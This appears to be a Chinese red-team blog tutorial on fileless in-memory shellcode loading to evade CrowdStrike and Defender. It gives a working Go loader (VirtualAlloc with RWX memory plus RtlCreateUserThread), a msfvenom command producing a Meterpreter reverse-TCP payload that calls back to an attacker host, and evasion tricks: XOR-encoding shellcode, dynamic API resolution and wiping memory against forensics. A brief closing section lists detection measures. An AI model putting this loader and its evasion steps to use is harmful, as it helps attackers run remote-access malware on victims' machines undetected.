一、潜伏在内存中的“隐形杀手”
在对抗强大的 EDR（Endpoint Detection and Response）和杀毒软件时，攻击者往往需要一种隐秘而高效的方法绕过检测。传统的文件型恶意软件已经难以发挥作用，而内存加载技术成为了攻击者的新宠。这种技术将恶意负载直接加载到目标机器的内存中运行，完全不落地磁盘，大幅降低了被检测的风险。
从防御角度来看，内存加载技术的威胁在于难以捕捉传统的文件活动。例如，一个标准的杀毒软件通常依赖于磁盘上的文件扫描，而内存中的代码运行则让这种扫描无用武之地。这种特性正是攻击者所看重的，那么，作为红队成员，我会如何利用内存加载技术来完成一次隐蔽的渗透攻击呢？
接下来的内容，我将从攻击原理到免杀技巧，再到检测与对抗，带你深挖内存加载免杀技术的秘密。
---
二、目标环境的无声潜入
要想成功利用内存加载技术，首先需要明确目标环境的细节，这包括目标的操作系统、权限级别、杀软种类等信息。以下是一个典型的攻击场景：
- 目标环境：Windows 10 专业版（64位）
- EDR/AV：CrowdStrike、微软 Defender
- 网络环境：NAT 网络，深度检测防火墙
- 权限控制：普通用户权限，无直接管理员权限
从攻击者的角度来看，这种环境相对常见，同时也对免杀技术提出了较高的要求。
下面，我们将使用 Go 编写一个内存加载工具，将恶意载荷直接运行在内存中，并绕过目标环境中的 EDR 检测。
---
三、武器打造：Go 语言实现内存加载
要实现内存加载，核心思路是利用 Windows API 函数将恶意代码加载到目标进程的内存空间中运行。以下是一个使用 Go 的内存加载工具示例代码。
代码实现
以下代码将执行一个 "Hello, World!" 的测试 shellcode，后续可以替换为实际的恶意载荷。
<pre><code class="language-go">package main
import ( "syscall" "unsafe" "fmt" )
func main() { // 示例 shellcode: MessageBox 弹窗 // 替换为自己的 payload，例如 msfvenom 生成的 shellcode shellcode := []byte{ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, //...(省略完整代码) }
// 获取当前进程的句柄 kernel32 := syscall.NewLazyDLL("kernel32.dll") VirtualAlloc := kernel32.NewProc("VirtualAlloc")
// 分配内存 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { fmt.Println("VirtualAlloc调用失败: ", err) return }
// 将 shellcode 写入分配的内存 for i := 0; i < len(shellcode); i++ { (byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i] }
// 创建线程执行 shellcode ntdll := syscall.NewLazyDLL("ntdll.dll") RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread") var hThread uintptr _, _, err = RtlCreateUserThread.Call(0xffffffffffffffff, 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&hThread)), 0) if err != nil && err.Error() != "The operation completed successfully." { fmt.Println("RtlCreateUserThread调用失败: ", err) return }
fmt.Println("Payload 执行成功") }</code></pre>
代码解析
- VirtualAlloc 分配内存：分配一块可执行、可读写的内存，用于存放 shellcode。
- Shellcode 写入内存：利用
unsafe.Pointer将 shellcode 写入分配的内存区域。 - RtlCreateUserThread 创建线程：利用线程执行内存中的 shellcode，从而实现内存加载。
Shellcode 替换
上文中的 shellcode 仅是一个测试用的示例，你可以使用如下命令生成实际的恶意载荷：
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<端口> -f raw -o payload.bin</code></pre>
再用 Go 代码读取生成的 payload 文件，将其写入 shellcode 数组中。
---
四、从“免杀”到“完全隐身”
仅仅实现内存加载并不能确保绕过检测，尤其是针对现代 EDR 系统。为了实现真正的免杀，我们需要对代码进行进一步的优化。
技巧 1：内存混淆
EDR 系统往往会扫描内存中的可疑代码签名。为避免被检测，攻击者可以对 shellcode 进行混淆，在加载到内存后再解密还原。
以下是一个简单的 XOR 加密示例：
<pre><code class="language-go">func xorEncode(data []byte, key byte) []byte { encoded := make([]byte, len(data)) for i := range data { encoded[i] = data[i] ^ key } return encoded }
func xorDecode(data []byte, key byte) []byte { return xorEncode(data, key) // 解密和加密是一样的操作 }</code></pre>
在写入内存前，对 shellcode 进行加密，运行时再解密到内存中。
技巧 2：API 混淆调用
直接调用 Windows API 有可能触发 EDR 的行为分析。为了对抗这种检测，可以通过动态解析 API 地址的方式绕过：
<pre><code class="language-go">func getProcAddress(module string, procName string) uintptr { dll := syscall.NewLazyDLL(module) return dll.NewProc(procName).Addr() }</code></pre>
将 VirtualAlloc 和 RtlCreateUserThread 替换为此方法动态解析的地址。
技巧 3：内存清理
在 shellcode 执行完成后，需及时清理内存，以减少被取证分析的风险：
<pre><code class="language-go">VirtualFree := kernel32.NewProc("VirtualFree") VirtualFree.Call(addr, 0, syscall.MEM_RELEASE)</code></pre>
---
五、防御视角：如何捕获内存加载行为
内存加载技术并非不可防御，以下是一些常见的检测和防御措施：
- 内存扫描：定期扫描内存中可疑的可执行代码段，尤其是无文件关联的可执行区。
- 行为分析：监控进程调用内存分配和线程创建等 API 的行为。
- EDR Hooks：通过 API Hook 技术监控系统调用，例如 Hook
VirtualAlloc和CreateThread。 - 沙箱模拟：让恶意代码在沙箱中运行，观察其行为。
---
六、战场总结：攻防博弈无止境
内存加载免杀技术是红队和 APT 的经典武器，但它并非完美无解。攻击者需要不断提升混淆和隐匿能力，而防御者则需要利用更强大的行为分析和机器学习模型来捕捉异常。
攻防对抗，从未停止。